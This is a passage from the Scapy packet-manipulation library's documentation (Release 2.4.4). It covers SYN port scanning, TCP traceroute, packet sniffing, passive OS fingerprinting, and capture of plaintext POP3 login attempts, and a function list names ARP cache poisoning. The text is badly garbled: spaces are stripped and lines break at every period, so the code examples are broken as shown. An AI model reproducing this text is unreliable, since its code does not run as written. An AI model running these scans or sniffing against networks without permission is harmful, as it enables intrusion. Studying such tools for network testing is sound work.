Thehost192.
168.
5.
1ismyDNSserver.
Notethenon-nullpaddingcomingfrommyLinksyshavingtheEtherleakaw:>>>sr1(IP(dst="192.
168.
5.
1")/UDP()/DNS(rd=1,qd=DNSQR(qname="www.
slashdot.
→org")))Beginemission:Finishedtosend1packets.
.
.
*Received3packets,got1answers,remaining0packetsan=ns=0ar=0|>>>The"send'n'receive"functionsfamilyistheheartofScapy.
Theyreturnacoupleoftwolists.
Therstelementisalistofcouples(packetsent,answer),andthesecondelementisthelistofunansweredpackets.
Thesetwoelementsarelists,buttheyarewrappedbyanobjecttopresentthembetter,andtoprovidethemwithsomemethodsthatdomostfrequentlyneededactions:>>>sr(IP(dst="192.
168.
8.
1")/TCP(dport=[21,22,23]))Received6packets,got3answers,remaining0packets(,)>>>ans,unans=_>>>ans.
summary()IP/TCP192.
168.
8.
14:20>192.
168.
8.
1:21S==>Ether/IP/TCP192.
168.
8.
→1:21>192.
168.
8.
14:20RA/PaddingIP/TCP192.
168.
8.
14:20>192.
168.
8.
1:22S==>Ether/IP/TCP192.
168.
8.
→1:22>192.
168.
8.
14:20RA/PaddingIP/TCP192.
168.
8.
14:20>192.
168.
8.
1:23S==>Ether/IP/TCP192.
168.
8.
→1:23>192.
168.
8.
14:20RA/PaddingIfthereisalimitedrateofanswers,youcanspecifyatimeinterval(inseconds)towaitbetweentwopacketswiththeinterparameter.
Ifsomepacketsarelostorifspecifyinganintervalisnotenough,youcanresendalltheunansweredpackets,eitherbycallingthefunctionagain,directlywiththeunansweredlist,orbyspecifyingaretryparameter.
Ifretryis3,Scapywilltrytoresendunansweredpackets3times.
Ifretryis-3,Scapywillresendunansweredpacketsuntilnomoreanswerisgivenforthesamesetofunansweredpackets3timesinarow.
Thetimeoutparameterspecifythetimetowaitafterthelastpackethasbeensent:>>>sr(IP(dst="172.
20.
29.
5/30")/TCP(dport=[21,22,23]),inter=0.
5,retry=-2,→timeout=1)Beginemission:Finishedtosend12packets.
Beginemission:Finishedtosend9packets.
Beginemission:Finishedtosend9packets.
Received100packets,got3answers,remaining9packets(,)24Chapter3.
UsageScapyDocumentation,Release2.
4.
4.
3.
2.
10SYNScansClassicSYNScancanbeinitializedbyexecutingthefollowingcommandfromScapy'sprompt:>>>sr1(IP(dst="72.
14.
207.
99")/TCP(dport=80,flags="S"))TheabovewillsendasingleSYNpackettoGoogle'sport80andwillquitafterreceivingasingleresponse:Beginemission:.
Finishedtosend1packets.
*Received2packets,got1answers,remaining0packets>>Fromtheaboveoutput,wecanseeGooglereturned"SA"orSYN-ACKagsindicatinganopenport.
Useeithernotationstoscanports400through443onthesystem:>>>sr(IP(dst="192.
168.
1.
1")/TCP(sport=666,dport=(440,443),flags="S"))or>>>sr(IP(dst="192.
168.
1.
1")/TCP(sport=RandShort(),dport=[440,441,442,443],→flags="S"))Inordertoquicklyreviewresponsessimplyrequestasummaryofcollectedpackets:>>>ans,unans=_>>>ans.
summary()IP/TCP192.
168.
1.
100:ftp-data>192.
168.
1.
1:440S======>IP/TCP192.
→168.
1.
1:440>192.
168.
1.
100:ftp-dataRA/PaddingIP/TCP192.
168.
1.
100:ftp-data>192.
168.
1.
1:441S======>IP/TCP192.
→168.
1.
1:441>192.
168.
1.
100:ftp-dataRA/PaddingIP/TCP192.
168.
1.
100:ftp-data>192.
168.
1.
1:442S======>IP/TCP192.
→168.
1.
1:442>192.
168.
1.
100:ftp-dataRA/PaddingIP/TCP192.
168.
1.
100:ftp-data>192.
168.
1.
1:httpsS======>IP/TCP192.
→168.
1.
1:https>192.
168.
1.
100:ftp-dataSA/PaddingTheabovewilldisplaystimulus/responsepairsforansweredprobes.
Wecandisplayonlytheinforma-tionweareinterestedinbyusingasimpleloop:>>>ans.
summary(lambdas,r:r.
sprintf("%TCP.
sport%\t%TCP.
flags%"))440RA441RA442RAhttpsSAEvenbetter,atablecanbebuiltusingthemake_table()functiontodisplayinformationaboutmul-tipletargets:3.
2.
Interactivetutorial25ScapyDocumentation,Release2.
4.
4.
>>>ans,unans=sr(IP(dst=["192.
168.
1.
1","yahoo.
com","slashdot.
org"])/→TCP(dport=[22,80,443],flags="S"))Beginemission:Finishedtosend9packets.
Received362packets,got8answers,remaining1packets>>>ans.
make_table(.
.
.
lambdas,r:(s.
dst,s.
dport,.
.
.
r.
sprintf("{TCP:%TCP.
flags%}{ICMP:%IP.
src%-%ICMP.
type%}")))66.
35.
250.
150192.
168.
1.
1216.
109.
112.
1352266.
35.
250.
150-dest-unreachRA-80SARASA443SASASATheaboveexamplewillevenprinttheICMPerrortypeiftheICMPpacketwasreceivedasaresponseinsteadofexpectedTCP.
Forlargerscans,wecouldbeinterestedindisplayingonlycertainresponses.
Theexamplebelowwillonlydisplaypacketswiththe"SA"agset:>>>ans.
nsummary(lfilter=lambdas,r:r.
sprintf("%TCP.
flags%")=="SA")0003IP/TCP192.
168.
1.
100:ftp_data>192.
168.
1.
1:httpsS======>IP/→TCP192.
168.
1.
1:https>192.
168.
1.
100:ftp_dataSAIncasewewanttodosomeexpertanalysisofresponses,wecanusethefollowingcommandtoindicatewhichportsareopen:>>>ans.
summary(lfilter=lambdas,r:r.
sprintf("%TCP.
flags%")=="SA",→prn=lambdas,r:r.
sprintf("%TCP.
sport%isopen"))httpsisopenAgain,forlargerscanswecanbuildatableofopenports:>>>ans.
filter(lambdas,r:TCPinrandr[TCP].
flags&2).
make_table(lambda→s,r:.
.
.
(s.
dst,s.
dport,"X"))66.
35.
250.
150192.
168.
1.
1216.
109.
112.
13580X-X443XXXIfalloftheabovemethodswerenotenough,Scapyincludesareport_ports()functionwhichnotonlyautomatestheSYNscan,butalsoproducesaLaTeXoutputwithcollectedresults:>>>report_ports("192.
168.
1.
1",(440,443))Beginemission:.
.
.
*.
**Finishedtosend4packets.
*Received8packets,got4answers,remaining0packets'\\begin{tabular}{|r|l|l|}\n\\hline\nhttps&open&SA\\\\\n\\hline\n440&closed&TCPRA\\\\\n441&closed&TCPRA\\\\\n442&closed&TCPRA\\\\\n\\hline\n\\hline\n\\end{tabular}\n'26Chapter3.
UsageScapyDocumentation,Release2.
4.
4.
3.
2.
11TCPtracerouteATCPtraceroute:>>>ans,unans=sr(IP(dst=target,ttl=(4,25),id=RandShort())/→TCP(flags=0x2))Finishedtosend22packets.
Received33packets,got21answers,remaining1packets>>>forsnd,rcvinans:.
.
.
printsnd.
ttl,rcv.
src,isinstance(rcv.
payload,TCP).
.
.
5194.
51.
159.
6506194.
51.
159.
4904194.
250.
107.
18107193.
251.
126.
3408193.
251.
126.
15409193.
251.
241.
89010193.
251.
241.
110011193.
251.
241.
173013208.
172.
251.
165012193.
251.
241.
173014208.
172.
251.
165015206.
24.
226.
99016206.
24.
238.
34017173.
109.
66.
90018173.
109.
88.
218019173.
29.
39.
101120173.
29.
39.
101121173.
29.
39.
101122173.
29.
39.
101123173.
29.
39.
101124173.
29.
39.
1011NotethattheTCPtracerouteandsomeotherhigh-levelfunctionsarealreadycoded:>>>lsc()sr:Sendandreceivepacketsatlayer3sr1:Sendpacketsatlayer3andreturnonlythefirstanswersrp:Sendandreceivepacketsatlayer2srp1:Sendandreceivepacketsatlayer2andreturnonlythe→firstanswersrloop:Sendapacketatlayer3inloopandprinttheanswer→eachtimesrploop:Sendapacketatlayer2inloopandprinttheanswer→eachtimesniff:Sniffpacketsp0f:PassiveOSfingerprinting:whichOSemittedthisTCP→SYNarpcachepoison:Poisontarget'scachewith(yourMAC,victim'sIP)couplesend:Sendpacketsatlayer3sendp:Sendpacketsatlayer2traceroute:InstantTCPtraceroutearping:SendARPwho-hasrequeststodeterminewhichhostsare→upls:Listavailablelayers,orinfosonagivenlayerlsc:Listusercommands(continuesonnextpage)3.
2.
Interactivetutorial27ScapyDocumentation,Release2.
4.
4.
(continuedfrompreviouspage)queso:QuesoOSfingerprintingnmap_fp:nmapfingerprintingreport_ports:portscanatargetandoutputaLaTeXtabledyndns_add:SendaDNSaddmessagetoanameserverfor"name"to→haveanew"rdata"dyndns_del:SendaDNSdeletemessagetoanameserverfor"name"[.
.
.
]ScapymayalsousetheGeoIP2module,incombinationwithmatplotlibandcartopytogeneratefancygraphicssuchasbelow:Inthisexample,weusedthetraceroute_map()functiontoprintthegraphic.
Thismethodisashortcutwhichusestheworld_traceoftheTracerouteResultobjects.
Itcouldhavebeendonedifferently:>>>conf.
geoip_city="path/to/GeoLite2-City.
mmdb">>>a=traceroute(["www.
google.
co.
uk","www.
secdev.
org"],verbose=0)>>>a.
world_trace()orsuchasabove:>>>conf.
geoip_city="path/to/GeoLite2-City.
mmdb">>>traceroute_map(["www.
google.
co.
uk","www.
secdev.
org"])Tousethosefunctions,itisrequiredtohaveinstalledthegeoip2module,itsdatabase(directdownload)butalsothecartopymodule.
3.
2.
12ConguringsupersocketsDifferentsupersocketsareavailableinScapy:thenativeones,andtheonesthatuselibpcap(tosend/receivepackets).
Bydefault,Scapywilltrytousethenativeones(exceptonWindows,wherethewinpcap/npcaponesarepreferred).
Tomanuallyusethelibpcapones,youmust:OnUnix/OSX:besuretohavelibpcapinstalled.
OnWindows:haveNpcap/Winpcapinstalled.
(default)Thenuse:28Chapter3.
UsageScapyDocumentation,Release2.
4.
4.
>>>conf.
use_pcap=TrueThiswillautomaticallyupdatethesocketspointingtoconf.
L2socketandconf.
L3socket.
Ifyouwanttomanuallysetthem,youhaveabunchofsocketsavailable,dependingonyourplatform.
Forinstance,youmightwanttouse:>>>conf.
L3socket=L3pcapSocket#Receive/sendL3packetsthroughlibpcap>>>conf.
L2listen=L2ListenTcpdump#ReceiveL2packetsthroughTCPDump3.
2.
13SnifngWecaneasilycapturesomepacketsorevenclonetcpdumportshark.
Eitheroneinterfaceoralistofinterfacestosniffoncanbeprovided.
Ifnointerfaceisgiven,snifngwillhappenonconf.
iface:>>>sniff(filter="icmpandhost66.
35.
250.
151",count=2)>>>a=_>>>a.
nsummary()0000Ether/IP/ICMP192.
168.
5.
21echo-request0/Raw0001Ether/IP/ICMP192.
168.
5.
21echo-request0/Raw>>>a[1]>>>>>>sniff(iface="wifi0",prn=lambdax:x.
summary())802.
11Management8ff:ff:ff:ff:ff:ff/802.
11Beacon/InfoSSID/Info→Rates/InfoDSset/InfoTIM/Info133802.
11Management4ff:ff:ff:ff:ff:ff/802.
11ProbeRequest/InfoSSID/→InfoRates802.
11Management500:0a:41:ee:a5:50/802.
11ProbeResponse/InfoSSID/→InfoRates/InfoDSset/Info133802.
11Management4ff:ff:ff:ff:ff:ff/802.
11ProbeRequest/InfoSSID/→InfoRates802.
11Management4ff:ff:ff:ff:ff:ff/802.
11ProbeRequest/InfoSSID/→InfoRates802.
11Management8ff:ff:ff:ff:ff:ff/802.
11Beacon/InfoSSID/Info→Rates/InfoDSset/InfoTIM/Info133802.
11Management1100:07:50:d6:44:3f/802.
11Authentication802.
11Management1100:0a:41:ee:a5:50/802.
11Authentication802.
11Management000:07:50:d6:44:3f/802.
11AssociationRequest/Info→SSID/InfoRates/Info133/Info149802.
11Management100:0a:41:ee:a5:50/802.
11AssociationResponse/Info→Rates/Info133/Info149802.
11Management8ff:ff:ff:ff:ff:ff/802.
11Beacon/InfoSSID/Info→Rates/InfoDSset/InfoTIM/Info133802.
11Management8ff:ff:ff:ff:ff:ff/802.
11Beacon/InfoSSID/Info→Rates/InfoDSset/InfoTIM/Info133(continuesonnextpage)3.
2.
Interactivetutorial29ScapyDocumentation,Release2.
4.
4.
(continuedfrompreviouspage)802.
11/LLC/SNAP/ARPwhohas172.
20.
70.
172says172.
20.
70.
171/→Padding802.
11/LLC/SNAP/ARPisat00:0a:b7:4b:9c:ddsays172.
20.
70.
172/→Padding802.
11/LLC/SNAP/IP/ICMPecho-request0/Raw802.
11/LLC/SNAP/IP/ICMPecho-reply0/Raw>>>sniff(iface="eth1",prn=lambdax:x.
show())---[Ethernet]---dst=00:ae:f3:52:aa:d1src=00:02:15:37:a2:44type=0x800---[IP]---version=4Lihl=5Ltos=0x0len=84id=0flags=DFfrag=0Lttl=64proto=ICMPchksum=0x3831src=192.
168.
5.
21dst=66.
35.
250.
151options=''---[ICMP]---type=echo-requestcode=0chksum=0x89d9id=0xc245seq=0x0---[Raw]---load='B\xf7i\xa9\x00\x04\x149\x08\t\n\x0b\x0c\r\x0e\x0f\→x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f!
\x22#$%&01234567'---[Ethernet]---dst=00:02:15:37:a2:44src=00:ae:f3:52:aa:d1type=0x800---[IP]---version=4Lihl=5Ltos=0x0len=84id=2070flags=frag=0Lttl=42proto=ICMPchksum=0x861bsrc=66.
35.
250.
151dst=192.
168.
5.
21options=''---[ICMP]---type=echo-replycode=0(continuesonnextpage)30Chapter3.
UsageScapyDocumentation,Release2.
4.
4.
(continuedfrompreviouspage)chksum=0x91d9id=0xc245seq=0x0---[Raw]---load='B\xf7i\xa9\x00\x04\x149\x08\t\n\x0b\x0c\r\x0e\x0f\→x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f!
\x22#$%&01234567'---[Padding]---load='\n_\x00\x0b'>>>sniff(iface=["eth1","eth2"],prn=lambdax:x.
sniffed_on+":"+x.
→summary())eth3:Ether/IP/ICMP192.
168.
5.
21>66.
35.
250.
151echo-request0/Raweth3:Ether/IP/ICMP66.
35.
250.
151>192.
168.
5.
21echo-reply0/Raweth2:Ether/IP/ICMP192.
168.
5.
22>66.
35.
250.
152echo-request0/Raweth2:Ether/IP/ICMP66.
35.
250.
152>192.
168.
5.
22echo-reply0/RawForevenmorecontroloverdisplayedinformationwecanusethesprintf()function:>>>pkts=sniff(prn=lambdax:x.
sprintf("{IP:%IP.
src%->%IP.
dst%\n}{Raw:→%Raw.
load%\n}"))192.
168.
1.
100->64.
233.
167.
9964.
233.
167.
99->192.
168.
1.
100192.
168.
1.
100->64.
233.
167.
99192.
168.
1.
100->64.
233.
167.
99'GET/HTTP/1.
1\r\nHost:64.
233.
167.
99\r\nUser-Agent:Mozilla/5.
0(X11;U;Linuxi686;en-US;rv:1.
8.
1.
8)Gecko/20071022Ubuntu/7.
10(gutsy)Firefox/2.
0.
0.
8\r\nAccept:text/xml,application/xml,application/xhtml+xml,text/html;q=0.
9,text/plain;q=0.
8,image/png,*/*;q=0.
5\r\nAccept-Language:en-us,en;q=0.
5\r\nAccept-Encoding:gzip,deflate\r\nAccept-Charset:ISO-8859-1,utf-8;q=0.
7,*;q=0.
7\r\nKeep-Alive:300\r\nConnection:keep-alive\r\nCache-Control:max-age=0\r\n\r\n'WecansniffanddopassiveOSngerprinting:>>>p>>>>>load_module("p0f")>>>p0f(p)(1.
0,['Linux2.
4.
2-2.
4.
14(1)'])>>>a=sniff(prn=prnp0f)(1.
0,['Linux2.
4.
2-2.
4.
14(1)'])(1.
0,['Linux2.
4.
2-2.
4.
14(1)'])(0.
875,['Linux2.
4.
2-2.
4.
14(1)','Linux2.
4.
10(1)','Windows98()'])(1.
0,['Windows2000(9)'])3.
2.
Interactivetutorial31ScapyDocumentation,Release2.
4.
4.
ThenumberbeforetheOSguessistheaccuracyoftheguess.
3.
2.
14AsynchronousSnifngNote:AsynchronoussnifngisonlyavailablesinceScapy2.
4.
3Warning:Asynchronoussnifngdoesnotnecessarilyimprovesperformance(it'srathertheoppo-site).
Ifyouwanttosniffonmultipleinterfaces/socket,rememberyoucanpassthemalltoasinglesniff()callItispossibletosniffasynchronously.
Thisallowstostopthesnifferprogrammatically,ratherthanwithctrl^C.
Itprovidesstart(),stop()andjoin()utils.
Thebasicusagewouldbe:>>>t=AsyncSniffer()>>>t.
start()>>>print("hey")hey[.
.
.
]>>>results=t.
stop()TheAsyncSnifferclasshasafewusefulkeys,suchasresults(thepacketscollected)orrunning,thatcanbeused.
Itacceptsthesameargumentsthansniff()(infact,theirimplementa-tionsaremerged).
Forinstance:>>>t=AsyncSniffer(iface="enp0s3",count=200)>>>t.
start()>>>t.
join()#thiswillholduntil200packetsarecollected>>>results=t.
results>>>print(len(results))200Anotherexample:usingprnandstore=False>>>t=AsyncSniffer(prn=lambdax:x.
summary(),store=False,filter="tcp")>>>t.
start()>>>time.
sleep(20)>>>t.
stop()32Chapter3.
UsageScapyDocumentation,Release2.
4.
4.
3.
2.
15AdvancedSnifng-SnifngSessionsNote:SessionsareonlyavailablesinceScapy2.
4.
3sniff()alsoprovidesSessions,thatallowstodissectaowofpacketsseamlessly.
Forinstance,youmaywantyoursniff(prn=.
.
.
)functiontoautomaticallydefragmentIPpackets,beforeexecutingtheprn.
ScapyincludessomebasicSessions,butitispossibletoimplementyourown.
Availablebydefault:IPSession->defragmentIPpacketson-the-ow,tomakeastreamusablebyprn.
TCPSession->defragmentcertainTCPprotocols.
Currentlysupports:–HTTP1.
0–TLSTLSSession->matchesTLSsessionsontheow.
NetflowSession->resolveNetowV9packetsfromtheirNetowFlowsetinformationobjectsThosesessionscanbeusedusingthesession=parameterofsniff().
Examples:>>>sniff(session=IPSession,iface="eth0")>>>sniff(session=TCPSession,prn=lambdax:x.
summary(),store=False)>>>sniff(offline="file.
pcap",session=NetflowSession)Note:ToimplementyourownSessionclass,inordertosupportanotherow-basedprotocol,startbycopyingasamplefromscapy/sessions.
pyYourcustomSessionclassonlyneedstoextendtheDefaultSessionclass,andimplementaon_packet_receivedfunction,suchasintheexam-ple.
Note:Wouldyouneedit,youcanuse:classTLS_over_TCP(TLSSession,TCPSession):passtosniffTLSpacketsthataredefragmented.
HowtouseTCPSessiontodefragmentTCPpacketsThelayeronwhichthedecompressionisappliedmustbeimmediatelyfollowingtheTCPlayer.
Youneedtoimplementaclassfunctioncalledtcp_reassemblethatacceptsthebinarydataandametadadictionaryasargumentandreturns,whenfull,apacket.
Let'sstudythe(pseudo)exampleofTLS:classTLS(Packet):[.
.
.
]@classmethoddeftcp_reassemble(cls,data,metadata):length=struct.
unpack("!
H",data[3:5])[0]+5iflen(data)==length:returnTLS(data)3.
2.
Interactivetutorial33ScapyDocumentation,Release2.
4.
4.
Inthisexample,werstgetthetotallengthoftheTLSpayloadannouncedbytheTLSheader,andwecompareittothelengthofthedata.
Whenthedatareachesthislength,thepacketiscompleteandcanbereturned.
Whenimplementingtcp_reassemble,it'susuallyamatterofdetectingwhenapacketisn'tmissinganythingelse.
Thedataargumentisbytesandthemetadataargumentisadictionarywhichkeysareasfollow:metadata["pay_class"]:theTCPpayloadclass(hereTLS)metadata.
get("tcp_psh",False):willbepresentifthePUSHagissetmetadata.
get("tcp_end",False):willbepresentiftheENDorRESETagisset3.
2.
16FiltersDemoofbothbpflterandsprintf()method:>>>a=sniff(filter="tcpand(port25orport110)",prn=lambdax:x.
sprintf("%IP.
src%:%TCP.
sport%->%IP.
dst%:%TCP.
dport%→%2s,TCP.
flags%:%TCP.
payload%"))192.
168.
8.
10:47226->213.
228.
0.
14:110S:213.
228.
0.
14:110->192.
168.
8.
10:47226SA:192.
168.
8.
10:47226->213.
228.
0.
14:110A:213.
228.
0.
14:110->192.
168.
8.
10:47226PA:+OK192.
168.
8.
10:47226->213.
228.
0.
14:110A:192.
168.
8.
10:47226->213.
228.
0.
14:110PA:USERtoto213.
228.
0.
14:110->192.
168.
8.
10:47226A:213.
228.
0.
14:110->192.
168.
8.
10:47226PA:+OK192.
168.
8.
10:47226->213.
228.
0.
14:110A:192.
168.
8.
10:47226->213.
228.
0.
14:110PA:PASStata213.
228.
0.
14:110->192.
168.
8.
10:47226PA:-ERRauthorizationfailed192.
168.
8.
10:47226->213.
228.
0.
14:110A:213.
228.
0.
14:110->192.
168.
8.
10:47226FA:192.
168.
8.
10:47226->213.
228.
0.
14:110FA:213.
228.
0.
14:110->192.
168.
8.
10:47226A:3.
2.
17SendandreceiveinaloopHereisanexampleofa(h)ping-likefunctionality:youalwayssendthesamesetofpacketstoseeifsomethingchange:>>>srloop(IP(dst="www.
target.
com/30")/TCP())RECV1:Ether/IP/TCP192.
168.
11.
99:80>192.
168.
8.
14:20SA/Paddingfail3:IP/TCP192.
168.
8.
14:20>192.
168.
11.
96:80SIP/TCP192.
168.
8.
14:20>192.
168.
11.
98:80SIP/TCP192.
168.
8.
14:20>192.
168.
11.
97:80SRECV1:Ether/IP/TCP192.
168.
11.
99:80>192.
168.
8.
14:20SA/Paddingfail3:IP/TCP192.
168.
8.
14:20>192.
168.
11.
96:80SIP/TCP192.
168.
8.
14:20>192.
168.
11.
98:80S(continuesonnextpage)34Chapter3.
UsageScapyDocumentation,Release2.
4.
4.
(continuedfrompreviouspage)IP/TCP192.
168.
8.
14:20>192.
168.
11.
97:80SRECV1:Ether/IP/TCP192.
168.
11.
99:80>192.
168.
8.
14:20SA/Paddingfail3:IP/TCP192.
168.
8.
14:20>192.
168.
11.
96:80SIP/TCP192.
168.
8.
14:20>192.
168.
11.
98:80SIP/TCP192.
168.
8.
14:20>192.
168.
11.
97:80SRECV1:Ether/IP/TCP192.
168.
11.
99:80>192.
168.
8.
14:20SA/Paddingfail3:IP/TCP192.
168.
8.
14:20>192.
168.
11.
96:80SIP/TCP192.
168.
8.
14:20>192.
168.
11.
98:80SIP/TCP192.
168.
8.
14:20>192.
168.
11.
97:80S3.
2.
18ImportingandExportingDataPCAPItisoftenusefultosavecapturepacketstopcapleforuseatlatertimeorwithdifferentapplications:>>>wrpcap("temp.
cap",pkts)Torestorepreviouslysavedpcaple:>>>pkts=rdpcap("temp.
cap")or>>>pkts=sniff(offline="temp.
cap")HexdumpScapyallowsyoutoexportrecordedpacketsinvarioushexformats.
Usehexdump()todisplayoneormorepacketsusingclassichexdumpformat:>>>hexdump(pkt)0000005056FCCE50000C292B531908004500.
PV.
.
P.
.
)+S.
.
.
E.
001000540000400040015A7CC0A819820402.
T.
.
@.
@.
Z|.
.
.
.
.
.
0020020108009C905A610001E6DA7049B6E5.
.
.
.
.
.
Za.
.
.
.
pI.
.
0030080008090A0B0C0D0E0F1011121314150040161718191A1B1C1D1E1F2021222324250050262728292A2B2C2D2E2F3031323334350123450060363767HexdumpabovecanbereimportedbackintoScapyusingimport_hexcap():>>>pkt_hex=Ether(import_hexcap())0000005056FCCE50000C292B531908004500.
PV.
.
P.
.
)+S.
.
.
E.
001000540000400040015A7CC0A819820402.
T.
.
@.
@.
Z|.
.
.
.
.
.
0020020108009C905A610001E6DA7049B6E5.
.
.
.
.
.
Za.
.
.
.
pI.
.
0030080008090A0B0C0D0E0F1011121314150040161718191A1B1C1D1E1F2021222324250050262728292A2B2C2D2E2F3031323334350123450060363767>>>pkt_hex(continuesonnextpage)3.
2.
Interactivetutorial35ScapyDocumentation,Release2.
4.
4.
(continuedfrompreviouspage)>>>BinarystringYoucanalsoconvertentirepacketintoabinarystringusingtheraw()function:>>>pkts=sniff(count=1)>>>pkt=pkts[0]>>>pkt>>>>>>pkt_raw=raw(pkt)>>>pkt_raw'\x00PV\xfc\xceP\x00\x0c)+S\x19\x08\x00E\x00\x00T\x00\x00@\x00@\x01Z|\xc0\→xa8\x19\x82\x04\x02\x02\x01\x08\x00\x9c\x90Za\x00\x01\xe6\xdapI\xb6\xe5\x08\→x00\x08\t\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f01234567'Wecanreimporttheproducedbinarystringbyselectingtheappropriaterstlayer(e.
g.
Ether()).
>>>new_pkt=Ether(pkt_raw)>>>new_pkt>>>36Chapter3.
UsageScapyDocumentation,Release2.
4.
4.
Base64Usingtheexport_object()function,Scapycanexportabase64encodedPythondatastructurerepresentingapacket:>>>pkt>>>>>>export_object(pkt)eNplVwd4FNcRPt2dTqdTQ0JUUYwN+CgS0gkJONFEs5WxFDB+CdiI8+pupVl0d7uzRUiYtcEGG4STOD1OnB6nN6c4cXrvwQmk2U5xA9tgO70XMm+1rA78qdzbfTP/→lDfzz7tD4WwmU1C0YiaT2GqjaiaobMlhCrsUSYrYoKbmcxZFXSpPiohlZikm6ltb063ZdGpNOjWQ7mhPt62hChHJWTbFvb0O/→u1MD2bTWZXXVCmi9pihUqI3FHdEQslriiVfWFTVT9VYpog6Q7fsjG0qRWtQNwsW1fRTrUg4xZxq5pUx1aS6.
.
.
TheoutputabovecanbereimportedbackintoScapyusingimport_object():>>>new_pkt=import_object()eNplVwd4FNcRPt2dTqdTQ0JUUYwN+CgS0gkJONFEs5WxFDB+CdiI8+pupVl0d7uzRUiYtcEGG4STOD1OnB6nN6c4cXrvwQmk2U5xA9tgO70XMm+1rA78qdzbfTP/→lDfzz7tD4WwmU1C0YiaT2GqjaiaobMlhCrsUSYrYoKbmcxZFXSpPiohlZikm6ltb063ZdGpNOjWQ7mhPt62hChHJWTbFvb0O/→u1MD2bTWZXXVCmi9pihUqI3FHdEQslriiVfWFTVT9VYpog6Q7fsjG0qRWtQNwsW1fRTrUg4xZxq5pUx1aS6.
.
.
>>>new_pkt>>>SessionsAtlastScapyiscapableofsavingallsessionvariablesusingthesave_session()function:>>>dir()['__builtins__','conf','new_pkt','pkt','pkt_export','pkt_hex','pkt_→raw','pkts']>>>save_session("session.
scapy")NexttimeyoustartScapyyoucanloadtheprevioussavedsessionusingtheload_session()com-mand:3.
2.
Interactivetutorial37ScapyDocumentation,Release2.
4.
4.
>>>dir()['__builtins__','conf']>>>load_session("session.
scapy")>>>dir()['__builtins__','conf','new_pkt','pkt','pkt_export','pkt_hex','pkt_→raw','pkts']3.
2.
19MakingtablesNowwehaveademonstrationofthemake_table()presentationfunction.
Ittakesalistasparameter,andafunctionwhoreturnsa3-uple.
Therstelementisthevalueonthexaxisfromanelementofthelist,thesecondisabouttheyvalueandthethirdisthevaluethatwewanttoseeatcoordinates(x,y).
Theresultisatable.
Thisfunctionhas2variants,make_lined_table()andmake_tex_table()tocopy/pasteintoyourLaTeXpentestreport.
Thosefunctionsareavailableasmethodsofaresultobject:Herewecanseeamulti-paralleltraceroute(ScapyalreadyhasamultiTCPtraceroutefunction.
Seelater):>>>ans,unans=sr(IP(dst="www.
test.
fr/30",ttl=(1,6))/TCP())Received49packets,got24answers,remaining0packets>>>ans.
make_table(lambdas,r:(s.
dst,s.
ttl,r.
src))216.
15.
189.
192216.
15.
189.
193216.
15.
189.
194216.
15.
189.
1951192.
168.
8.
1192.
168.
8.
1192.
168.
8.
1192.
168.
8.
1281.
57.
239.
25481.
57.
239.
25481.
57.
239.
25481.
57.
239.
2543213.
228.
4.
254213.
228.
4.
254213.
228.
4.
254213.
228.
4.
2544213.
228.
3.
3213.
228.
3.
3213.
228.
3.
3213.
228.
3.
35193.
251.
254.
1193.
251.
251.
69193.
251.
254.
1193.
251.
251.
696193.
251.
241.
174193.
251.
241.
178193.
251.
241.
174193.
251.
241.
178HereisamorecomplexexampletodistinguishmachinesortheirIPstacksfromtheirIPIDeld.
Wecanseethat172.
20.
80.
200:22isansweredbythesameIPstackas172.
20.
80.
201andthat172.
20.
80.
197:25isnotansweredbythesameIPstackasotherportsonthesameIP.
>>>ans,unans=sr(IP(dst="172.
20.
80.
192/28")/TCP(dport=[20,21,22,25,53,→80]))Received142packets,got25answers,remaining71packets>>>ans.
make_table(lambdas,r:(s.
dst,s.
dport,r.
sprintf("%IP.
id%")))172.
20.
80.
196172.
20.
80.
197172.
20.
80.
198172.
20.
80.
200172.
20.
80.
20120042037021-1156221042047022-1156322042057023115611156425007024-1156553042077025-1156680040287026-11567ItcanhelpidentifynetworktopologiesveryeasilywhenplayingwithTTL,displayingreceivedTTL,etc.
38Chapter3.
UsageScapyDocumentation,Release2.
4.
4.
3.
2.
20RoutingNowScapyhasitsownroutingtable,sothatyoucanhaveyourpacketsrouteddifferentlythanthesystem:>>>conf.
routeNetworkNetmaskGatewayIface127.
0.
0.
0255.
0.
0.
00.
0.
0.
0lo192.
168.
8.
0255.
255.
255.
00.
0.
0.
0eth00.
0.
0.
00.
0.
0.
0192.
168.
8.
1eth0>>>conf.
route.
delt(net="0.
0.
0.
0/0",gw="192.
168.
8.
1")>>>conf.
route.
add(net="0.
0.
0.
0/0",gw="192.
168.
8.
254")>>>conf.
route.
add(host="192.
168.
1.
1",gw="192.
168.
8.
1")>>>conf.
routeNetworkNetmaskGatewayIface127.
0.
0.
0255.
0.
0.
00.
0.
0.
0lo192.
168.
8.
0255.
255.
255.
00.
0.
0.
0eth00.
0.
0.
00.
0.
0.
0192.
168.
8.
254eth0192.
168.
1.
1255.
255.
255.
255192.
168.
8.
1eth0>>>conf.
route.
resync()>>>conf.
routeNetworkNetmaskGatewayIface127.
0.
0.
0255.
0.
0.
00.
0.
0.
0lo192.
168.
8.
0255.
255.
255.
00.
0.
0.
0eth00.
0.
0.
00.
0.
0.
0192.
168.
8.
1eth03.
2.
21MatplotlibWecaneasilyplotsomeharvestedvaluesusingMatplotlib.
(Makesurethatyouhavematplotlibin-stalled.
)Forexample,wecanobservetheIPIDpatternstoknowhowmanydistinctIPstacksareusedbehindaloadbalancer:>>>a,b=sr(IP(dst="www.
target.
com")/TCP(sport=[RandShort()]*1000))>>>a.
plot(lambdax:x[1].
id)[]3.
2.
Interactivetutorial39ScapyDocumentation,Release2.
4.
4.
3.
2.
22TCPtraceroute(2)ScapyalsohasapowerfulTCPtraceroutefunction.
Unlikeothertracerouteprogramsthatwaitforeachnodetoreplybeforegoingtothenext,Scapysendsallthepacketsatthesametime.
Thishasthedisadvantagethatitcan'tknowwhentostop(thusthemaxttlparameter)butthegreatadvantagethatittooklessthan3secondstogetthismulti-targettracerouteresult:>>>traceroute(["www.
yahoo.
com","www.
altavista.
com","www.
wisenut.
com","www.
→copernic.
com"],maxttl=20)Received80packets,got80answers,remaining0packets193.
45.
10.
88:80216.
109.
118.
79:8064.
241.
242.
243:8066.
94.
229.
